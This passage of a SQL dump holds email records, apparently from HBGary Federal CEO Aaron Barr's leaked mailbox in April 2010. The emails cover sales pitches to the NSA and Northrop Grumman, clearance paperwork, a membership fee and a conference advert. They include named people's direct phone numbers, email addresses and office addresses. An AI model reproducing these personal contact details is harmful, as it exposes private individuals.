thanks for your awesome support of ExecutiveBiz.\r\n>  \r\n> Best regards.\r\n>  \r\n> Sheri Page\r\n> The Potomac Officers Club and ExecutiveBiz\r\n> 8230 Old Courthouse Road, Suite 460\r\n> Vienna, VA  22182\r\n> Phone:  703-752-7449\r\n> Fax:  703-752-7454\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13943,'aaron_hbgary_com/13943.html'),(5521,'2010-04-20','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004004.M695812P14101Q376.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Northrup Grumman IT','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI was given Georgia Hall&#8217;s name.&nbsp; If you know them can we get an\r\nintro to them?&nbsp; For using DDNA in services and internally to protect critical\r\ninfo\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, April 19, 2010 5:33 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: \'Bob Slapnik\'\r\nSubject: Re: Northrup Grumman IT\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI do but why would you say Georgia Hall? &nbsp;Mark Leary\r\nruns the Information Assurance group and is the lead decision maker on most of\r\nthe new security products that are implemented in the NG network. &nbsp;Georgia\r\nused to run the tier1 folks, but I don\'t think she does any more. &nbsp;They\r\nall work for Tim McKnight who is the CISO.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI know all three of them, but I know Tim and Mark best.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nChris Barnett worked for Mark when he was at NG Bob.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLet me know if I can help.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 19, 2010, at 8:08 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe\r\nperson we need to get to over at NG is Georgia Hall.&nbsp; Aaron do you know\r\nher or can we get an intro to her?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\nC. Leavy\r\n\r\n\r\n\r\n\r\n\r\nPresident\r\n\r\n\r\n\r\n\r\n\r\nHBGary,\r\nInc\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNOTICE &#8211;&nbsp;Any tax information or written tax advice contained herein\r\n(including attachments) is not intended to be and cannot be used by any\r\ntaxpayer for the purpose of avoiding tax penalties that may be imposed\r\non&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to\r\nU.S. Treasury regulations governing tax practice.)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis message and any attached files may contain information that is\r\nconfidential and/or subject of legal privilege intended only for use by the\r\nintended recipient. If you are not the intended recipient or the person\r\nresponsible for&nbsp;&nbsp; delivering the message to the intended recipient,\r\nbe advised that you have received this message in error and that any\r\ndissemination, copying or use of this message or attachment is strictly\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12857,'aaron_hbgary_com/12857.html'),(5522,'2010-04-20','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004004.M941129P14101Q377.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Opportunity','OK\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, April 19, 2010 5:41 PM\r\nTo: Penny Leavy\r\nSubject: Opportunity\r\n\r\nHey Penny,\r\n\r\nRemember I told you about the ExecutiveBiz cyber group I was invited to\r\njoin.  There are 20-24 members per specialty area invited to join (they have\r\nmany groups, financial, foreign policy, etc).  The cost is $7300 a year.\r\nThey meet twice a month and have 4 dinners.  The members are most of the\r\ncyber owners amongst the large companies (Cisco, IBM, NG, CSC, SAIC, etc).\r\nWe are the only small company that has been asked to join.  Most of the\r\nmembers I either know or know of them.  The group will meet to discuss and\r\ndevelop position papers on different topics of cybersecurity.  Each of the\r\nmembers and their companies will be featured in their online and print\r\nwebsites, blogs, and magazines, as well as the papers they develop.\r\n\r\nI am requesting that we split the cost with HBGary for the cost of the\r\nmembership.\r\n\r\nWhat do you think?  The opportunity is too good to pass up so we will figure\r\nout the costs somehow, but thought since I will be representing both HBGary\r\nFed and HBGary in my positions and interactions with the other members that\r\nwe could split it.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',16577,'aaron_hbgary_com/16577.html'),(5523,'2010-04-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004005.M233371P14101Q378.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Opportunity','Begin forwarded message:From: \"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt;Date: April 20, 2010 2:21:49 PM EDTTo: \"\'Aaron Barr\'\" &lt;aaron@hbgary.com&gt;Subject: RE: OpportunityOK-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Monday, April 19, 2010 5:41 PMTo: Penny LeavySubject: OpportunityHey Penny,Remember I told you about the ExecutiveBiz cyber group I was invited tojoin. &nbsp;There are 20-24 members per specialty area invited to join (they havemany groups, financial, foreign policy, etc). &nbsp;The cost is $7300 a year.They meet twice a month and have 4 dinners. &nbsp;The members are most of thecyber owners amongst the large companies (Cisco, IBM, NG, CSC, SAIC, etc).We are the only small company that has been asked to join. &nbsp;Most of themembers I either know or know of them. &nbsp;The group will meet to discuss anddevelop position papers on different topics of cybersecurity. &nbsp;Each of themembers and their companies will be featured in their online and printwebsites, blogs, and magazines, as well as the papers they develop.I am requesting that we split the cost with HBGary for the cost of themembership.What do you think? &nbsp;The opportunity is too good to pass up so we will figureout the costs somehow, but thought since I will be representing both HBGaryFed and HBGary in my positions and interactions with the other members thatwe could split it.Aaron BarrCEOHBGary Federal Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8043,'aaron_hbgary_com/8043.html'),(5524,'2010-04-20','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297004005.M577264P14101Q379.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Checking in','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nThanks &#8211; we are aware of the RFI, and we responded as\r\nwell.&nbsp; Meeting with EDS was a little flat.&nbsp; However we did meet with\r\nAbraxas and it looks promising.&nbsp; \r\n\r\n&nbsp;\r\n\r\nHope this helps,\r\n\r\n&nbsp;\r\n\r\nChris \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, April 13, 2010 4:02 PM\r\nTo: Clair, Chris (TASC)\r\nCc: Lovegrove, John (TASC)\r\nSubject: Re: Checking in\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nGreat. &nbsp;Are u aware of the psyops rfi for socom?\r\n&nbsp;We are submitting capabilities. &nbsp;How did meetimg with EDS go?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron &nbsp;\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 13, 2010, at 3:52 PM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nWe\r\nare meeting with Abraxas and Cipher on Thursday.&nbsp; I have not talked to\r\nLincoln or ManTech.&nbsp; We are still working on those.&nbsp; Thanks for the\r\ntip on IMGnetworks (John can you contact them?).\r\n\r\n&nbsp;\r\n\r\nI&#8217;ll\r\nsee about getting a new badge but it won&#8217;t be until next week.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, April 13, 2010 12:35 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Checking in\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey\r\nChris,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nChecking\r\nin again, seeing how things are going. &nbsp;Ted is working on his SF86 and\r\nwill get it to you shortly.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAny\r\nchance I can get put in for an indoc for a new badge?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDid\r\nyou guys touch base with Lincoln group? or Mantech? &nbsp;Also might want to\r\ncheck out a company IMGnetworks. &nbsp;They supposedly have cleared folks I\r\nthink, while their samples off their website aren\'t fabulous, they have some\r\ncapability with past performance in the area.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nApr 5, 2010, at 3:06 PM, Clair, Chris (TASC) wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI got\r\nthe OK from my boss.&nbsp; Can we get Ted to fill out a new SF86?&nbsp; I can\r\nstart the other paperwork here.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, April 05,\r\n2010 9:59 AM\r\nTo:&nbsp;Clair, Chris (TASC)\r\nSubject:&nbsp;Re: Checking in\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nthink him cleared would be very helpful. &nbsp;Let me know how you want to\r\nproceed.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nApr 1, 2010, at 11:58 AM, Clair, Chris (TASC) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nIs there anything we want to do with Ted\'s clearance?&nbsp; I think I can get\r\nthe OK from my customer to initiate a new clearance.&nbsp; From what I\r\nunderstand, Ted is very instrumental in the COIN processes.&nbsp; Let me know\r\nwhat you think.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 4/1/2010 10:38 AM\r\nTo: Lovegrove, John (TASC)\r\nCc: Clair, Chris (TASC); Garcia, Kathy (TASC)\r\nSubject: Re: Checking in\r\n\r\nI haven\'t I will check.\r\n\r\n\r\n&nbsp;From my iPhone\r\n\r\nOn Apr 1, 2010, at 9:37 AM, &quot;Lovegrove, John (TASC)&quot; &lt;John.Lovegrove@tasc.com\r\n&nbsp;&gt; wrote:\r\n\r\n&gt; Hey Aaron,\r\n&gt;\r\n&gt; We are still pulling the team together on COIN, we have a follow up\r\n&gt; discussion with SAIC tomorrow. I got a random report that the\r\n&gt; competition was cancelled, did you hear anything about this?\r\n&gt;\r\n&gt;\r\n&gt; John Lovegrove\r\n&gt; Director\r\n&gt; Office: (703) 449-3812\r\n&gt; Cell: (571) 294-5154\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; TASC INTERNAL DISTRIBUTION ONLY\r\n&gt; This e-mail, including attachments, is intended for the exclusive\r\n&gt; use of\r\n&gt; the person or entity to whom it is addressed and may contain\r\n&gt; confidential or privileged information. If the reader of this e-mail\r\n&gt; is\r\n&gt; not the intended recipient or his or her authorized agent, the\r\n&gt; reader is\r\n&gt; hereby notified that any dissemination, distribution or copying of\r\n&gt; this\r\n&gt; e-mail is prohibited. If you think that you have received this e-\r\n&gt; mail in\r\n&gt; error, please advise the sender by reply e-mail of the error and then\r\n&gt; delete this e-mail immediately.\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Monday, March 29, 2010 2:01 PM\r\n&gt; To: Lovegrove, John (TASC)\r\n&gt; Subject: Checking in\r\n&gt;\r\n&gt; Hey John,\r\n&gt;\r\n&gt; Just turnednin my DARPA proposal, decpressedfor a few minutes, then\r\n&gt; started thinking about all the other stuff going on.&nbsp; What is the\r\n&gt; status of your COIN effort and when would you like to set up anyone to\r\n&gt; talk about NSA?\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt; From my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1347,'aaron_hbgary_com/1347.html'),(5525,'2010-04-20','\"Edna Robinson\" <erobinson6@csc.com>','/aaron@hbgary.com/new/1297004006.M944432P14101Q380.eml','aaron@hbgary.com,aaron@hbgary.com,','CTSC Non Disclosure Agreement','\r\nGood Afternoon Mr. Aron,\r\n\r\nPlease sign an return the attached Non Disclosure\r\nagreement at your earliest convenience so that it may be Fully Executed\r\nprior to your meeting \r\nwith Paul Rooney. \r\n\r\n\r\n\r\nThanks \r\n\r\nEdna Robinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.comEdna\r\nRobinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.com\r\n\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose.',12118,'aaron_hbgary_com/12118.html'),(5526,'2010-04-20','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004007.M272408P14101Q381.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting for next week','Aaron et al,\r\n\r\nThis morning I spoke with Bob Nissen, tech right hand man of Bodman, the guy\r\nAaron met with yesterday.  I\'ve been in dialogue with Nissen for 4 years\r\nthru every iteration of Inspector and Responder.  He is a \"pet rock guy\" who\r\nhasn\'t needed HBGary, until now.  Bob was aware that HBGary was coming in\r\nnext week to brief and demo.\r\n\r\nHere is a list of needs from Bob Nissen:\r\n1. He has too much r/e work to do.  Needs automation.\r\n2. Likes the idea of DDNA telling him which binaries to focus on.\r\n3. He loved the idea of the Customer Genome where he could create his own\r\ntraits.  His use case would be he has confirmed malware that DDNA scores\r\nlow.  He\'d like to create his own traits that causes the new DDNA score to\r\nbecome high (red).\r\n4. He analyzes malware then sets detection SNORT rules for the gateway.\r\nWould like our s/w to automatically create SNORT signatures.\r\n5. Said NTOC has lots of lower skilled r/e\'s who could benefit from\r\nResponder Pro.\r\n6. REcon appealed to him as a big time saver.  We discussed how REcon would\r\nrecover C&C and encrypted data so long as those instructions executed.  He\r\nasked how we dealt with unexecuted instructions and we talked about how\r\nResponder is both static and dynamic analysis.\r\n7. I told him TMC would do the automated triage analysis then analysts would\r\nuse Responder Pro for deeper dive analysis.\r\n\r\nThe Blue Team has a similar but slightly different situation.  They want to\r\nfeed the TMC lots of binaries they collect in the field then the TMC will\r\ntell them through DDNA and automated REcon reports which binaries are\r\npotentially malware.  Certain binaries will be flagged for further analysis.\r\nThey would pull memory on endpoints where they think there is malware.  When\r\nonsite they would then search hard drives looking for disk indicators of\r\ncompromise.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, April 20, 2010 2:00 PM\r\nTo: Bob Slapnik; Greg Hoglund; Penny Leavy; Phil Wallisch\r\nCc: Ted Vera\r\nSubject: Meeting for next week\r\n\r\nGuys,\r\n\r\nBased on My and Bob\'s conversations with NSA ANO, NTOC V22, and IA Blueteam\r\nI believe we are on the verge of making some significant headway at NSA.\r\nThe demo next week and follow on conversations to seal the deal will be\r\nimportant.  We need to hit the areas they have highlighted and work with\r\nthem to structure the deal in a way that is as easy and friendly to their\r\nenvironment as possible.  In the end this will pay off big for us.  For\r\nCyber NSA is an important customer.  For threat intelligence NSA is the\r\ncenter of the universe.\r\n\r\nIf you don\'t know NTOC manages a cyber I&W / SIGINT system called Turbulance\r\n(google it).  It is NSAs cyber ears on the wire and a subcomponent of this\r\nsystem is called Tutiledge.  These are the governments first line of defense\r\nat the major gateways (there are other sensors that are further out).\r\nEinstein (DHS .gov gateway sensors) is a replica of Tutiledge.  These are\r\nnothing more than SNORT boxes in parallel with some load balancing and\r\npublic and classified signatures (basic description).  I think eventually\r\nour TMC could provide more realtime updates to the signature for these\r\nsystems.  If we can get this to happen with Tutiledge it will ripple down\r\nthrough the services and DHS, etc.\r\n\r\nBob,  Please send to this group the highlights of your conversation with the\r\nNSA folks you spoke with Today.  What their expressed interest items are,\r\nchallenges, etc.\r\n\r\nFrom my conversation with Jerry Bodman yesterday.\r\n1. Ability to develop custom traits as well as take advantage of commercial\r\ntraits.\r\n2. How do we deal with encryption.\r\n3. How do we deal with things that don\'t normally execute.\r\n4. Can we export or is our data in a common format that can be shared\r\namongst other tools.\r\n5. How do you deal with things that are multiple parts.\r\n\r\nThey can not manage their existing work load with their existing tools.\r\nThey need a method to prioritize their work.  Seemed they were interested in\r\nthat first and then tools that can help them with advanced analysis.  I\r\nthink we need to approach the demo from the TMC/DDNA, work prioritization\r\nperspective and then transition into how Responder and REcon can help them\r\nuse more of their existing workforce more efficiently, and use more of them\r\nbecause the skill level entry point is lower.  And all the tools integrate\r\nso their is efficiency there as well.\r\n\r\nThe words Jerry left me with was he wants this, he wants to buy it.  So his\r\ngoal is to put all the right people in the room next week so he can expedite\r\nthis.\r\n\r\nThe briefing will be next Friday.  I will work the details on hopefully\r\ngetting the laptop, etc.  I would like to do a dry run on Tuesday to make\r\nsure we are hitting all the right buttons.  I will send out some meeting\r\nnotices here in a few.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',10637,'aaron_hbgary_com/10637.html'),(5527,'2010-04-20','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004007.M505686P14101Q382.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Cybersecurity Contracting and R&D Summit:  Three Weeks Left','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\nUntitled Document\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYou or Aaron I think would benefit.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, April 20, 2010 2:36 PM\r\nTo: \'Penny Leavy-Hoglund\'\r\nSubject: FW: Cybersecurity Contracting and R&amp;D Summit: Three Weeks\r\nLeft\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny,\r\n\r\n&nbsp;\r\n\r\nDo you think this networking event would be good for me to\r\nattend?&nbsp; Cost is $795.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Cybersecurity\r\nContracting, R&amp;D Summit [mailto:registration@cybersecurityseminars.com] \r\nSent: Tuesday, April 20, 2010 3:21 PM\r\nTo: bob@hbgary.com\r\nSubject: Cybersecurity Contracting and R&amp;D Summit: Three Weeks Left\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n     \r\n      \r\n      \r\n      Cybersecurity Contracting\r\n      and R&amp;D\r\n      &nbsp;Opportunities\r\n      Summit:\r\n      2011 and Beyond\r\n      \r\n      \r\n      &nbsp;\r\n      \r\n      Tuesday,\r\n      May 11, 2010\r\n      Time:\r\n      7:30-3:30 PM (EST)\r\n      &nbsp;\r\n      Hilton\r\n      McLean, Tysons Corner, McLean, VA\r\n      www.cybersecurityseminars.com/seminars.html \r\n      &nbsp;\r\n      This\r\n      premier, dynamic forum features leading government and industry experts\r\n      discussing the emerging threats, R&amp;D and contracting opportunities in\r\n      cybersecurity. Very timely with a world class faculty.\r\n      &nbsp;\r\n      Speakers:\r\n      To\r\n      see the full agenda, click here\r\n      \r\n      &nbsp;\r\n      \r\n      \r\n      Keynote Speakers and Presenters:\r\n      \r\n      \r\n       Douglas\r\n           Maughan, Program Manager, Cyber Security R&amp;D,\r\n           Science and Technology Directorate, U.S. Department of Homeland\r\n           Security (confirmed)\\\r\n       Robert L.\r\n           Carey,\r\n           Chief Information Officer, U.S. Department of the Navy (confirmed)\r\n       Christopher\r\n           Painter, Director for Cybersecurity,National Security\r\n           Staff, The White House (invited)\r\n       Rep. Jim\r\n           Langevin, Chair, House Armed Services Subcommittee on\r\n           Strategic Forces (confirmed)\r\n      \r\n      \r\n      Speakers:\r\n      \r\n      \r\n       Darren Ash, Deputy\r\n           Executive Director for Corporate Management and Chief Information\r\n           Officer, United States Nuclear Regulatory Commission (confirmed) \r\n       Karen S.\r\n           Evans,\r\n           Partner, KE&amp;T Partners, LLC (former Administrator, E-Government\r\n           and Information Technology at Executive Office of the President,\r\n           Office of Management and Budget) (confirmed) \r\n       Jessica\r\n           Herrera-Flanigan, Partner, Monument Policy Group\r\n           (Former General Counsel, House Committee on Homeland Security)\r\n           (confirmed) \r\n       Cita M.\r\n           Furlani, Director, Information Technology Laboratory,\r\n           National Institute of Standards and Technology (NIST) (confirmed) \r\n       Major\r\n           General USAF (Ret.) Dale W. Meyerrose, Vice\r\n           President and General Manager of Cyber and Information Assurance,\r\n           Harris Corporation (former CIO, The Office of the Director of\r\n           National Intelligence) (confirmed) \r\n       Annabelle\r\n           Lee,\r\n           Senior Cyber Security Strategist, Computer Security Division, NIST\r\n           (confirmed) \r\n       Jacob\r\n           Olcott, Staff Director and Counsel, House\r\n           Subcommittee on Emerging Threats, Cybersecurity and Science and\r\n           Technology (confirmed) \r\n       Brenda\r\n           Oldfield, Director, Cyber Education &amp; Workforce\r\n           Development, National Cyber Security Division, U.S. Department of Homeland\r\n           Security (confirmed) \r\n       Marcus H.\r\n           Sachs,\r\n           Executive Director, National Security and Cyber Policy, Verizon\r\n           (confirmed) \r\n       Dr. Ronald\r\n           P. Sanders, Senior Executive Advisor, Booz Allen\r\n           Hamilton (former Chief Human Capital Officer, The Office of the\r\n           Director of National Intelligence) (confirmed) \r\n      \r\n      \r\n      &nbsp;Why\r\n      You Should Attend:\r\n      \r\n      \r\n       Learn how\r\n           to position yourself and your business to try to capture your share\r\n           of the $55 billion in cybersecurity funding. \r\n       Hear from\r\n           prominent Government CIOs about their emerging spending and R&amp;D\r\n           needs in cybersecurity, including Darren Ash, CIO, U.S. NRC and\r\n           Robert Carey, CIO, U.S. Navy, named one of the &quot;10 Cyber\r\n           Security Game Changers to Watch in 2010&quot;. \r\n       Discover\r\n           perspectives from one of the most knowledgeable Representatives\r\n           about cybersecurity Congressman Jim Langevin, Chair of the\r\n           Subcommittee on Strategic Forces which has oversight of US STRATCOM\r\n           where the new $1.5 billion U.S. Cyber Command will be located. \r\n       Hear an\r\n           all-star lineup of government and private sector leaders discuss the\r\n           war for cyber-talent. \r\n       Understand\r\n           the top cybersecurity R&amp;D and spending priorities for 2011 and\r\n           beyond. \r\n       Network\r\n           with top decision-makers from government and industry \r\n      \r\n      \r\n      TO REGISTER:\r\n      \r\n      \r\n      Call: 1-631-368-2082, x 21\r\n      \r\n      \r\n      Email: registration@cybersecurityseminars.com\r\n      \r\n      \r\n      Web: Click here\r\n      \r\n      \r\n      &nbsp;\r\n      \r\n      \r\n      TO SPONSOR OR EXHIBIT:\r\n      \r\n      \r\n      For further questions or to inquire about the limited\r\n      sponsor and exhibiting opportunities, please contact Tom K. Billington,\r\n      CEO, CyberSecurity Seminars, at Billington@cybersecurityseminars.com\r\n      or at 301-915-0185.\r\n      \r\n      \r\n      &nbsp;\r\n      \r\n      \r\n      CONFERENCE HOST:\r\n      \r\n      \r\n      CyberSecurity Seminars\'s CEO is Thomas K. Billington, who\r\n      led over 200 seminars at The Bureau of National Affairs (BNA) and Thomson\r\n      Reuters including launching BNA&#8217;s first forums in Internet law,\r\n      cybersecurity and homeland security contracting. www.cybersecurityseminars.com.\r\n      \r\n      \r\n      &nbsp;\r\n      \r\n      Event\r\n      Fees\r\n      \r\n      &nbsp;\r\n      \r\n      \r\n      $795 (industry rate)\r\n      \r\n      \r\n      $395 (government and military)\r\n      \r\n      \r\n      &nbsp;\r\n      \r\n      REGISTER\r\n      NOW\r\n      \r\n      &nbsp;\r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    CyberSecurity\r\n    Seminars, 3306 Cummings Lane, Chevy Chase, MD 20815\r\n    \r\n    &nbsp;\r\n    \r\n    \r\n   \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\nClick here to unsubscribe\r\n\r\n&nbsp;\r\n\r\n6\r\nEastman Place, Suite 300B, Melrose, MA 02176\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2811 - Release Date: 04/20/10 